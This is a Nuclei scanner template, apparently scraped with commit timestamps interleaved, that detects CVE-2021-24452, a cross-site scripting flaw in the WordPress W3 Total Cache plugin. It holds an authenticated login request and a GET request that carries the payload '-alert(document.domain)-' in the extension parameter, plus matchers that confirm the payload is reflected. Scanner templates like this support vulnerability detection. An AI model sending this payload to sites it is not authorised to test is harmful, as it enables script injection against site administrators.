2023-03-18 22:07:09 +00:00
id : CVE-2021-24452
info :
2023-03-28 19:06:27 +00:00
name : WordPress W3 Total Cache <2.1.5 - Cross-Site Scripting
2023-03-18 22:07:09 +00:00
author : theamanrawat
severity : medium
description : |
2023-03-28 19:06:27 +00:00
WordPress W3 Total Cache plugin before 2.1.5 is susceptible to cross-site scripting via the extension parameter in the Extensions dashboard, when the setting 'Anonymously track usage to improve product quality' is enabled. The parameter is output in a JavaScript context without proper escaping. This can allow an attacker, who can convince an authenticated admin into clicking a link, to run malicious JavaScript within the user's web browser, which could lead to full site compromise.
2023-09-06 12:09:01 +00:00
remediation : Fixed in version 2.1.5.
2023-03-18 22:07:09 +00:00
reference :
- https://wpscan.com/vulnerability/3e855e09-056f-45b5-89a9-d644b7d8c9d0
- https://wordpress.org/plugins/w3-total-cache/
- https://nvd.nist.gov/vuln/detail/CVE-2021-24452
classification :
cvss-metrics : CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
cvss-score : 6.1
cve-id : CVE-2021-24452
cwe-id : CWE-79
2023-07-11 19:49:27 +00:00
epss-score : 0.001
2023-11-14 05:56:48 +00:00
epss-percentile : 0.40968
2023-09-06 12:09:01 +00:00
cpe : cpe:2.3:a:boldgrid:w3_total_cache:*:*:*:*:*:wordpress:*:*
2023-03-18 22:07:09 +00:00
metadata :
2023-06-04 08:13:42 +00:00
verified : true
2023-09-06 12:09:01 +00:00
max-request : 2
2023-07-11 19:49:27 +00:00
vendor : boldgrid
product : w3_total_cache
2023-09-06 12:09:01 +00:00
framework : wordpress
2023-03-18 22:07:09 +00:00
tags : cve,cve2021,xss,wpscan,wordpress,wp-plugin,wp,w3-total-cache,auth
2023-04-27 04:28:59 +00:00
http :
2023-03-18 22:07:09 +00:00
- raw :
- |
POST /wp-login.php HTTP/1.1
Host : {{Hostname}}
Content-Type : application/x-www-form-urlencoded
log={{username}}&pwd={{password}}&wp-submit=Log+In
- |
GET /wp-admin/admin.php?page=w3tc_extensions&extension='-alert(document.domain)-' HTTP/1.1
Host : {{Hostname}}
cookie-reuse : true
matchers :
- type : dsl
dsl :
- status_code_2 == 200
- contains(body_2, 'extensions/\'-alert(document.domain)-\'') && contains(body_2, 'w3-total-cache')
2023-06-19 21:10:30 +00:00
- contains(header_2, "text/html")
2023-03-18 22:07:09 +00:00
condition : and
2023-11-14 10:20:39 +00:00
# digest: 4a0a00473045022100851596da98f33e29ff458b45ce31f71d4ecfd87ce524cab534beed49b616dad202207ccc4d69395d19c572b3663653c039d312a5c0fbbfab180443f2e5d9da9c1684:922c64590222798bb761d5b6d8e72950